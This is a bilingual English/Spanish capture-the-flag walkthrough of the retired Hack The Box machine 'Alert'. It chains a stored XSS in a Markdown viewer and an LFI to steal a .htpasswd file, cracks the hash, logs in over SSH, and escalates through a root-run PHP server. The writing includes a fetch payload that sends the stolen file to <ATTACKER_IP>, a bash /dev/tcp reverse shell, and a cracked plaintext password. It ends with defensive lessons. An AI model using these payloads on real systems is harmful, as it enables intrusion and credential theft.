Alert
Executive summary — Alert is an Easy Linux box with an elegant, very instructive web chain. A Markdown Viewer lets you upload
.mdfiles and share them; the viewer renders the Markdown without sanitising the resulting HTML, so a stored XSS fires when the administrator opens the link we send through the site's contact form. With that XSS we abuse an LFI inmessages.php?file=to read the.htpasswdof a hidden vhost protected with basic auth (statistics.alert.htb, found by subdomain fuzzing); we crackalbert's md5crypt hash with rockyou and SSH in. For the escalation,linpeasreveals that root runs a PHP development server on127.0.0.1:8080over/opt/website-monitor, whoseconfigdirectory is group-writable bymanagement(whichalbertbelongs to): we drop a PHP reverse shell there, trigger it through an SSH tunnel, and land a shell as root. Path: vhost fuzzing → stored XSS → LFI → md5crypt → SSH → root's local PHP server with a writable config directory.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.231.188 |
Attack map
[80] Markdown Viewer → vhost fuzzing reveals statistics.alert.htb (basic auth)
│ uploading a .md with <script> → stored XSS, fires when the admin opens the shared link
▼
[LFI] messages.php?file=../../.. → exfiltrates the statistics vhost .htpasswd
│ albert : $apr1$... (md5crypt) → cracked with rockyou → manchesterunited
▼
[SSH] albert (user.txt)
│ root serves PHP on 127.0.0.1:8080 over /opt/website-monitor; config/ is group-writable (management)
▼
[ROOT] reverse shell via shell.php in config/ + SSH -L tunnel → root.txt
1. Reconnaissance
Before touching anything, we map what's exposed. A full
nmapscan avoids surprises later on (e.g. a third port that only shows up when scanning everything).
nmap -sC -sV -oN nmap.txt 10.129.231.188
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
Port 80 serves a Markdown Viewer: an app that lets you upload .md files, render them as HTML and share the result via a link.
Resumen ejecutivo — Alert es un Linux Easy con una cadena web elegante y muy didáctica. Un Markdown Viewer permite subir
.mdy compartirlos; el visor renderiza el Markdown sin sanear el HTML resultante, así que un XSS almacenado se dispara cuando el administrador abre el enlace que le enviamos por el formulario de contacto. Con ese XSS abusamos de un LFI enmessages.php?file=para leer el.htpasswdde un vhost oculto y protegido con autenticación básica (statistics.alert.htb, descubierto por fuzzing de subdominios); crackeamos el hash md5crypt dealbertcon rockyou y entramos por SSH. Para la escalada,linpeasrevela que root sirve un servidor PHP de desarrollo en127.0.0.1:8080sobre/opt/website-monitor, cuyo directorioconfiges escribible por el grupomanagement(al que pertenecealbert): soltamos ahí una reverse shell PHP, la disparamos a través de un túnel SSH y obtenemos una shell como root. Recorrido: vhost fuzzing → XSS almacenado → LFI → md5crypt → SSH → PHP local de root con directorio de configuración escribible.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.231.188 |
Mapa del ataque
[80] Markdown Viewer → fuzzing de vhosts revela statistics.alert.htb (auth basica)
│ subida de un .md con <script> → XSS almacenado, se dispara cuando el admin abre el enlace compartido
▼
[LFI] messages.php?file=../../.. → exfiltra .htpasswd del vhost statistics
│ albert : $apr1$... (md5crypt) → crack con rockyou → manchesterunited
▼
[SSH] albert (user.txt)
│ root sirve PHP en 127.0.0.1:8080 sobre /opt/website-monitor; config/ escribible por el grupo management
▼
[ROOT] reverse shell vía shell.php en config/ + tunel SSH -L → root.txt
1. Reconocimiento
Antes de tocar nada, mapeamos qué hay expuesto. Un
nmapcompleto evita sorpresas más adelante (p. ej. un tercer puerto que solo aparece con todos los escaneados).
nmap -sC -sV -oN nmap.txt 10.129.231.188
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
El puerto 80 sirve un Markdown Viewer: una app que permite subir ficheros .md, renderizarlos como HTML y compartir el resultado por enlace.
2. Virtual host enumeration
Plenty of HTB apps hide extra functionality behind a vhost that doesn't resolve by default. Without adding it to
/etc/hostsand fuzzing for it, that surface stays invisible.
echo '10.129.231.188 alert.htb' | sudo tee -a /etc/hosts
ffuf -u http://alert.htb/ -H "Host: FUZZ.alert.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -ac
A new subdomain shows up:
statistics.alert.htb
echo '10.129.231.188 statistics.alert.htb' | sudo tee -a /etc/hosts
That vhost is protected with HTTP basic auth — which is exactly why, later on, the goal is to steal the .htpasswd that guards it.
3. Stored XSS in the Markdown Viewer
The viewer converts uploaded Markdown to HTML without stripping dangerous tags. That means any
<script>inside the.mdruns verbatim in the browser of whoever opens the rendered file — a textbook stored XSS. The victim here isn't a random user, it's the administrator, whom we reach via the site's own Contact form.
First we stand up a server to catch the exfiltrated data:
python3 -m http.server 8888
The payload chains the XSS with a second flaw: messages.php accepts a file parameter with no path validation — an LFI that lets us read any file Apache can access, in this case the .htpasswd protecting statistics.alert.htb. We save this as testscript.md:
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(r => r.text())
.then(data => {
fetch("http://<ATTACKER_IP>:8888/?file_content=" + encodeURIComponent(data));
});
</script>
4. Firing the XSS and exfiltrating .htpasswd
We upload testscript.md to the Markdown Viewer, click Share Markdown and copy the generated link (the identifier differs on every upload):
http://alert.htb/visualizer.php?link_share=699486931d79b8.34099168.md
We paste that link into the site's Contact form so the administrator opens it from their own session. The moment they do, the <script> runs with their privileges and our server receives the request:
GET /?file_content=%3Cpre%3Ealbert%3A%24apr1...
Decoding the parameter gives us the full contents of .htpasswd:
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
5. Cracking the md5crypt hash
The $apr1$ prefix identifies Apache md5crypt (the default algorithm used by htpasswd). We save the hash and attack it with a wordlist:
echo 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
albert:manchesterunited
6. SSH access
ssh albert@10.129.231.188
# password: manchesterunited
whoami # albert
cat /home/albert/user.txt
7. Privilege escalation — root's local PHP service
linpeas.shis the usual starting point so we don't waste time manually enumerating the obvious: processes, local ports, directory permissions and cron jobs.
./linpeas.sh
Two key findings. First, root is running a PHP development server listening only on localhost, serving a monitoring app:
/usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
Second, a root process watches that app's config directory for changes with inotifywait — but watching isn't the same as preventing writes:
inotifywait -m -e modify /opt/website-monitor/config
The real flaw is the directory permission: albert belongs to the management group, which has write access to config:
drwxrwxr-x root management /opt/website-monitor/config
PHP's built-in php -S server executes any .php script served from its document root as the user running the process, with no reload or restart needed: if we drop a PHP file in config/ and request it over HTTP, it runs with the listener's privileges — root. We write a reverse shell:
nano /opt/website-monitor/config/shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
Since port 8080 only listens on the victim's 127.0.0.1, we reach it through an SSH tunnel and set up the listener before firing the request:
nc -lvnp 4444
ssh -L 8080:127.0.0.1:8080 albert@10.129.231.188
Then in the browser (or with curl), we request the shell we just dropped:
http://127.0.0.1:8080/config/shell.php
The request lands on the listener as a root shell:
root@alert:/opt/website-monitor/config# whoami
root
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | Virtual hosts | Hidden vhost found via subdomain fuzzing | Access to a protected panel |
| Foothold | Markdown Viewer | Stored XSS (unsanitised HTML rendering) | Execution in the administrator's session |
| Info leak | messages.php | LFI (path traversal in the file parameter) | Read the statistics vhost's .htpasswd |
| Credentials | albert's md5crypt hash | Dictionary-crackable password | SSH access as albert |
| PrivEsc | root's PHP server + group-writable config/ | Reverse shell in a directory served by a root process | Root shell |
Lessons learned
- Sanitise Markdown: converting user Markdown to HTML without stripping active tags (
<script>,<iframe>...) is a direct stored XSS. - Validate file paths: never pass an unnormalised user parameter into a file-read operation; a plain
../../..is enough for an LFI. - Slow hashes aren't enough: md5crypt is more expensive to crack than plain MD5, but a dictionary password (
manchesterunited) still falls to rockyou. - Don't run dev services as root: PHP's built-in server (
php -S) executes any script in its docroot with the process's privileges — if that docroot (or a subdirectory) is writable by an unprivileged group, that's RCE as root. - Monitoring isn't prevention: an
inotifywaitthat alerts on directory changes is useless if the permissions already allow writing there.
2. Enumeración de virtual hosts
Muchas apps de HTB esconden funcionalidad extra detrás de un vhost que no resuelve por defecto. Sin añadirlo a
/etc/hostsy sin fuzzear, esa superficie es invisible.
echo '10.129.231.188 alert.htb' | sudo tee -a /etc/hosts
ffuf -u http://alert.htb/ -H "Host: FUZZ.alert.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -ac
Aparece un subdominio nuevo:
statistics.alert.htb
echo '10.129.231.188 statistics.alert.htb' | sudo tee -a /etc/hosts
Ese vhost está protegido con autenticación básica (de ahí que, más adelante, el objetivo sea robar el .htpasswd que la protege).
3. XSS almacenado en el Markdown Viewer
El visor procesa el Markdown subido y lo convierte a HTML sin sanear las etiquetas peligrosas. Eso significa que cualquier
<script>dentro del.mdse ejecuta tal cual en el navegador de quien abra el archivo renderizado — un XSS almacenado clásico. La víctima aquí no es un usuario cualquiera, sino el administrador, al que hacemos llegar el enlace por el formulario de Contact del propio sitio.
Primero levantamos un servidor donde recibir la exfiltración:
python3 -m http.server 8888
El payload combina el XSS con un segundo fallo: messages.php acepta un parámetro file sin validar la ruta, un LFI con el que podemos leer cualquier fichero legible por Apache — en concreto, el .htpasswd que protege statistics.alert.htb. Guardamos esto como testscript.md:
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(r => r.text())
.then(data => {
fetch("http://<ATTACKER_IP>:8888/?file_content=" + encodeURIComponent(data));
});
</script>
4. Disparar el XSS y exfiltrar el .htpasswd
Subimos testscript.md al Markdown Viewer, pulsamos Share Markdown y copiamos el enlace generado (el identificador cambia en cada subida):
http://alert.htb/visualizer.php?link_share=699486931d79b8.34099168.md
Ese enlace lo pegamos en el formulario de Contact de la web, para que el administrador lo abra desde su sesión. En cuanto lo hace, el <script> se ejecuta con sus privilegios y nuestro servidor recibe la petición:
GET /?file_content=%3Cpre%3Ealbert%3A%24apr1...
Decodificando el parámetro obtenemos el contenido íntegro del .htpasswd:
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
5. Crackear el hash md5crypt
El prefijo $apr1$ identifica md5crypt de Apache (el algoritmo que usa htpasswd por defecto). Guardamos el hash y lo atacamos por diccionario:
echo 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
albert:manchesterunited
6. Acceso SSH
ssh albert@10.129.231.188
# contraseña: manchesterunited
whoami # albert
cat /home/albert/user.txt
7. Escalada de privilegios — servicio PHP de root
linpeas.shes el punto de partida habitual para no perder tiempo enumerando a mano lo obvio: procesos, puertos locales, permisos de directorio y cron.
./linpeas.sh
Dos hallazgos clave. Primero, root tiene un servidor de desarrollo de PHP escuchando solo en localhost, sirviendo una app de monitorización:
/usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
Segundo, un proceso de root vigila cambios en el directorio de configuración de esa app con inotifywait — pero vigilar no es lo mismo que impedir escribir:
inotifywait -m -e modify /opt/website-monitor/config
Y el permiso del directorio es el fallo real: albert pertenece al grupo management, que tiene escritura sobre config:
drwxrwxr-x root management /opt/website-monitor/config
El servidor PHP embebido de php -S ejecuta como root cualquier script .php que sirva desde su docroot, sin necesidad de recargar ni reiniciar nada: si dejamos un fichero PHP en config/ y lo pedimos por HTTP, se ejecuta con los privilegios del proceso que escucha — root. Escribimos una reverse shell:
nano /opt/website-monitor/config/shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
Como el puerto 8080 solo escucha en 127.0.0.1 de la víctima, lo alcanzamos vía túnel SSH y montamos el listener antes de disparar la petición:
nc -lvnp 4444
ssh -L 8080:127.0.0.1:8080 albert@10.129.231.188
Y en el navegador (o con curl), pedimos el shell que acabamos de dejar:
http://127.0.0.1:8080/config/shell.php
La petición llega al listener como una shell de root:
root@alert:/opt/website-monitor/config# whoami
root
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | Virtual hosts | Vhost oculto descubierto por fuzzing de subdominios | Acceso a un panel protegido |
| Foothold | Markdown Viewer | XSS almacenado (HTML sin sanear al renderizar) | Ejecución en la sesión del administrador |
| Info leak | messages.php | LFI (path traversal en el parámetro file) | Lectura del .htpasswd del vhost statistics |
| Credenciales | Hash md5crypt de albert | Contraseña de diccionario crackeable | Acceso SSH como albert |
| PrivEsc | Servidor PHP de root + config/ escribible por grupo | Reverse shell en un directorio servido por un proceso root | Shell de root |
Lecciones aprendidas
- Sanea el Markdown: convertir Markdown de usuario a HTML sin filtrar etiquetas activas (
<script>,<iframe>...) es un XSS almacenado directo. - Valida rutas de fichero: nunca pases un parámetro de usuario sin normalizar a una operación de lectura de fichero; un simple
../../..basta para un LFI. - Hashes lentos no son suficientes: md5crypt cuesta más de crackear que MD5 plano, pero una contraseña de diccionario (
manchesterunited) cae igual con rockyou. - No ejecutes servicios de desarrollo como root: el servidor embebido de PHP (
php -S) ejecuta cualquier script de su docroot con los privilegios del proceso — si ese docroot (o un subdirectorio) es escribible por un grupo no privilegiado, es RCE como root. - Monitorizar no es lo mismo que impedir: un
inotifywaitque avisa de cambios en un directorio no sirve de nada si los permisos ya permiten escribir ahí.